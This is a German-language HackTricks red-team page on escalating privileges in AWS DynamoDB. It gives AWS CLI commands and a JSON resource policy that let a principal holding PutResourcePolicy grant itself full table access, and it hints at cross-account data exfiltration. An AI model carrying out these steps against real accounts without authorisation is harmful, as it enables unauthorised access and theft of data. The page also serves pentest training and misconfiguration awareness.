AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

dynamodb

Für mehr Informationen zu dynamodb siehe:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, und optional dynamodb:GetResourcePolicy

Seit März 2024 bietet AWS resource based policies für DynamoDB (AWS News) an.

Wenn du also dynamodb:PutResourcePolicy für eine Tabelle hast, kannst du dir selbst oder jedem anderen principal einfach vollen Zugriff auf die Tabelle gewähren.

Das Gewähren von dynamodb:PutResourcePolicy an einen zufälligen principal passiert häufig aus Versehen, wenn die Admins denken, dass das Gewähren von dynamodb:Put* dem principal nur erlauben würde, Items in die Datenbank zu schreiben – oder wenn sie dieses Permissionset vor März 2024 vergeben haben...

Idealerweise hast du auch dynamodb:GetResourcePolicy, damit du nicht andere potenziell wichtige Berechtigungen überschreibst, sondern nur die zusätzlichen Berechtigungen injizierst, die du brauchst:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Wenn du die aktuelle Policy nicht abrufen kannst, verwende einfach diese, die deinem Principal vollen Zugriff auf die Tabelle gewährt:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Wenn du es anpassen musst, findest du hier eine Liste aller möglichen DynamoDB-Aktionen: AWS Documentation. Und hier eine Liste aller Aktionen, die über eine resource based policy erlaubt werden können UND welche davon cross-account genutzt werden können (think data exfiltration!): AWS Documentation

Nun, da das Policy-Dokument policy.json bereit ist, setze die resource policy:

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Nun solltest du die benötigten Berechtigungen haben.

Post Exploitation

Soweit ich weiß gibt es keinen anderen direkten Weg, Privilegien in AWS allein durch einige AWS dynamodb-Berechtigungen zu erhöhen. Du kannst sensible Informationen aus den Tabellen lesen (die AWS credentials enthalten könnten) und Informationen in die Tabellen schreiben (was andere Schwachstellen auslösen könnte, wie lambda code injections...), aber all diese Optionen werden bereits in der DynamoDB Post Exploitation page berücksichtigt:

AWS - DynamoDB Post Exploitation

TODO: Daten aus Streams auslesen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks